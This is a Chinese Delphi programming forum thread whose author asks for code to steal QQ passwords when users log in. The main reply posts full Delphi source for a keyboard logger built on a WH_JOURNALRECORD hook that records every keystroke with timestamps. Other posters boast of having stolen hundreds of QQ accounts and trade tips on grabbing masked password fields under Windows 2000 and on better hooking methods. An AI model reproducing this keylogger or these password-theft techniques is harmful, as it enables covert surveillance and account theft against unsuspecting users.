求一个偷取qq密码的代码 300分。(300分)

  • 主题发起人 主题发起人 人在昆明
  • 开始时间 开始时间

人在昆明

Unregistered / Unconfirmed
GUEST, unregistred user!
要求在登陆的时候截获密码,使用hook 技术,<br>98 下通过就行啦!mousehook 我已经搞定啦,<br>keyhook的搞不定,拿来研究一下,我不干坏事!<br>txyqbf_gxx@163.com &nbsp;,编译测试通过,即刻开分!
 
unit Unit1;<br><br>interface<br><br>uses<br>&nbsp; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,<br>&nbsp; StdCtrls, ExtCtrls;<br><br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; ListBox1: TListBox;<br>&nbsp; &nbsp; Button1: TButton;<br>&nbsp; &nbsp; Button2: TButton;<br>&nbsp; &nbsp; procedure FormCreate(Sender: TObject);<br>&nbsp; &nbsp; procedure Button1Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button2Click(Sender: TObject);<br>&nbsp; private<br>&nbsp; &nbsp; function Keyhookresult(lP: integer; wP: integer): pchar;<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; end;<br>var<br>&nbsp; Form1: TForm1;<br>&nbsp; hookkey: string;<br>&nbsp; hooktimes: word;<br>&nbsp; hHook: integer;<br>implementation<br>{$R *.DFM}<br><br>function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;<br>begin<br>&nbsp; result := '[Print Screen]';<br>&nbsp; case lp of<br>&nbsp; &nbsp; 10688: result := '`';<br>&nbsp; &nbsp; 561: Result := '1';<br>&nbsp; &nbsp; 818: result := '2';<br>&nbsp; &nbsp; 1075: result := '3';<br>&nbsp; &nbsp; 1332: result := '4';<br>&nbsp; &nbsp; 1589: result := '5';<br>&nbsp; &nbsp; 1846: result := '6';<br>&nbsp; &nbsp; 2103: result := '7';<br>&nbsp; &nbsp; 2360: result := '8';<br>&nbsp; &nbsp; 2617: result := '9';<br>&nbsp; &nbsp; 2864: result := '0';<br>&nbsp; &nbsp; 3261: result := '-';<br>&nbsp; &nbsp; 3515: result := '=';<br>&nbsp; &nbsp; 4177: result := 'Q';<br>&nbsp; &nbsp; 4439: result := 'W';<br>&nbsp; &nbsp; 4677: result := 'E';<br>&nbsp; &nbsp; 4946: result := 'R';<br>&nbsp; &nbsp; 5204: result := 'T';<br>&nbsp; &nbsp; 5465: result := 'Y';<br>&nbsp; &nbsp; 5717: result := 'U';<br>&nbsp; &nbsp; 5961: result := 'I';<br>&nbsp; &nbsp; 6223: result := 'O';<br>&nbsp; &nbsp; 6480: result := 'P';<br>&nbsp; &nbsp; 6875: result := '[';<br>&nbsp; &nbsp; 7133: result := ']';<br>&nbsp; &nbsp; 11228: result := '/';<br>&nbsp; &nbsp; 7745: result := 'A';<br>&nbsp; &nbsp; 8019: result := 'S';<br>&nbsp; &nbsp; 8260: result := 'D';<br>&nbsp; &nbsp; 8518: result := 'F';<br>&nbsp; &nbsp; 8775: result := 'G';<br>&nbsp; &nbsp; 9032: result := 'H';<br>&nbsp; &nbsp; 9290: result := 'J';<br>&nbsp; &nbsp; 9547: result := 'K';<br>&nbsp; &nbsp; 9804: result := 'L';<br>&nbsp; &nbsp; 10170: result := ';';<br>&nbsp; &nbsp; 10462: result := '''';<br>&nbsp; &nbsp; 11354: result := 'Z';<br>&nbsp; &nbsp; 11608: result := 'X';<br>&nbsp; &nbsp; 11843: result := 'C';<br>&nbsp; &nbsp; 12118: result := 'V';<br>&nbsp; &nbsp; 12354: result := 'B';<br>&nbsp; &nbsp; 12622: result := 'N';<br>&nbsp; &nbsp; 12877: result := 'M';<br>&nbsp; &nbsp; 13244: result := ',';<br>&nbsp; &nbsp; 13502: result := '.';<br>&nbsp; &nbsp; 13759: result := '/';<br>&nbsp; &nbsp; 13840: result := '[Right-Shift]';<br>&nbsp; &nbsp; 14624: result := '[Space]';<br>&nbsp; &nbsp; 283: result := '[Esc]';<br>&nbsp; &nbsp; 15216: result := '[F1]';<br>&nbsp; &nbsp; 15473: result := '[F2]';<br>&nbsp; &nbsp; 15730: result := '[F3]';<br>&nbsp; &nbsp; 15987: result := '[F4]';<br>&nbsp; &nbsp; 16244: result := '[F5]';<br>&nbsp; &nbsp; 16501: result := '[F6]';<br>&nbsp; &nbsp; 16758: result := '[F7]';<br>&nbsp; &nbsp; 17015: result := '[F8]';<br>&nbsp; &nbsp; 17272: result := '[F9]';<br>&nbsp; &nbsp; 17529: result := '[F10]';<br>&nbsp; &nbsp; 22394: result := '[F11]';<br>&nbsp; &nbsp; 22651: result := '[F12]';<br>&nbsp; &nbsp; 10768: Result := '[Left-Shift]';<br>&nbsp; &nbsp; 14868: result := '[CapsLock]';<br>&nbsp; &nbsp; 3592: result := '[Backspace]';<br>&nbsp; &nbsp; 3849: result := '[Tab]';<br>&nbsp; &nbsp; 7441:<br>&nbsp; &nbsp; &nbsp; if wp &gt; 30000 then<br>&nbsp; &nbsp; &nbsp; &nbsp; result := '[Right-Ctrl]'<br>&nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; result := '[Left-Ctrl]';<br>&nbsp; &nbsp; 13679: result := '[Num /]';<br>&nbsp; &nbsp; 17808: result := '[NumLock]';<br>&nbsp; &nbsp; 300: result := '[Print Screen]';<br>&nbsp; &nbsp; 18065: result := '[Scroll Lock]';<br>&nbsp; &nbsp; 17683: result := '[Pause]';<br>&nbsp; &nbsp; 21088: result := '[Num0]';<br>&nbsp; &nbsp; 21358: result := '[Num.]';<br>&nbsp; &nbsp; 20321: result := '[Num1]';<br>&nbsp; &nbsp; 20578: result := '[Num2]';<br>&nbsp; &nbsp; 20835: result := '[Num3]';<br>&nbsp; &nbsp; 19300: result := '[Num4]';<br>&nbsp; &nbsp; 19557: result := '[Num5]';<br>&nbsp; &nbsp; 19814: result := '[Num6]';<br>&nbsp; &nbsp; 18279: result := '[Num7]';<br>&nbsp; &nbsp; 18536: result := '[Num8]';<br>&nbsp; &nbsp; 18793: result := '[Num9]';<br>&nbsp; &nbsp; 19468: result := '[*5*]';<br>&nbsp; &nbsp; 14186: result := '[Num *]';<br>&nbsp; &nbsp; 19053: result := '[Num -]';<br>&nbsp; &nbsp; 20075: result := '[Num +]';<br>&nbsp; &nbsp; 21037: result := '[Insert]';<br>&nbsp; &nbsp; 21294: result := '[Delete]';<br>&nbsp; &nbsp; 18212: result := '[Home]';<br>&nbsp; &nbsp; 20259: result := '[End]';<br>&nbsp; &nbsp; 18721: result := '[PageUp]';<br>&nbsp; &nbsp; 20770: result := '[PageDown]';<br>&nbsp; &nbsp; 18470: result := '[UP]';<br>&nbsp; &nbsp; 20520: result := '[DOWN]';<br>&nbsp; &nbsp; 19237: result := '
';<br>&nbsp; &nbsp; 19751: result := '
';<br>&nbsp; &nbsp; 7181: result := '[Enter]';<br>&nbsp; end;<br>end;<br><br>function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;<br>begin<br>&nbsp; if (peventmsg(lparam)^.message = WM_KEYDOWN) then<br>&nbsp; &nbsp; hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);<br>&nbsp; if length(hookkey) &gt; 30 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; Form1.ListBox1.Items.Add(hookkey);<br>&nbsp; &nbsp; &nbsp; hookkey := TimeToStr(now) + ' &nbsp;';<br>&nbsp; &nbsp; end;<br>end;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br>&nbsp; hooktimes := 0;<br>&nbsp; hHook := 0;<br>end;<br><br>procedure TForm1.Button1Click(Sender: TObject);<br>begin<br>&nbsp; inc(hooktimes);<br>&nbsp; if hooktimes = 1 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; hookkey := TimeToStr(now) + ' &nbsp;';<br>&nbsp; &nbsp; &nbsp; hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);<br>&nbsp; &nbsp; &nbsp; MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);<br>&nbsp; &nbsp; end;<br>end;<br><br>procedure TForm1.Button2Click(Sender: TObject);<br>begin<br>&nbsp; UnHookWindowsHookEx(hHook);<br>&nbsp; hHook := 0;<br>&nbsp; if hooktimes &lt;&gt; 0 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);<br>&nbsp; &nbsp; end;<br>&nbsp; hooktimes := 0;<br>end;<br><br>end.<br>​
 
哈哈哈,兄弟,我不是不会用hook ,但是这个东西 你写一下 就知道。
 
呵呵,我写过的<br>不过,代码我不一定找得到了
 
顶一下。
 
我有一个,都已经取了几百个了要不要?
 
to lgxyy : <br>&nbsp; 能不能拿来看看 txyqbf_gxx@163.com &nbsp;
 
我也写啦,98、2000 都能偷,不过我只写好了mousehook 的,<br>keyhook 的 怎么写都取不到,不知道是不是 qq 作了手脚,<br>所以求一段来看看。
 
试一试pcLog软件,很好用<br>www.sunhy.com
 
sunstone:<br>知不知道 我们再说什么话题?
 
pcLog软件,就是记录键盘的,你试一试,看看qq下好不好用?如果好用告诉我!<br>它本身就是用了键盘钩子!
 
键盘钩子谁不会写?还用什么注册??
 
to &nbsp;人在昆明:<br>算了,我不找了<br>给你个小思路吧<br>为什么非要用键盘钩子呢<br>其实有其他更好的钩子可以用呢
 
呵呵,看来我也得写一个试试了,不然的话跟不上时代
 
我试过不少方法,感觉用勾子不大好,大小写无法区分(水平有限),这一点很致命<br>还是用消息取得密码比较准确,只是2000下我无法得到*号密码,不知大家有什么好主意
 
2000 下我可以取到,自己写了一个单元,做成dll,然后判断是98 or 2k <br>动态加在dll ,但是键盘钩子我不能获取密码,不知道 qq 是不是 作了手脚。
 
没作手脚吧,我前不久刚写了个盗QQ的程序,就是用的勾子,正常击键的话都能盗取<br>不过现在很多密码很怪,有大小写区分的,还有用中文做密码的,对这两种密码就无能为力了<br>我正考虑着改成消息获取,只是2000下取不到,想请你帮忙<br>你有QQ吗?我对数据库方面的东西兴趣不大,对api和消息很感兴趣,我感觉老兄你也一样,<br>只是我水平比你差远了:)<br>
 
to 一少:<br>&nbsp; &nbsp; &nbsp;没有 qq,用msn吧,qq公司不让用,我的mchkz@hotmail.com<br>信箱: txyqbf_gxx@163.com
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
后退
顶部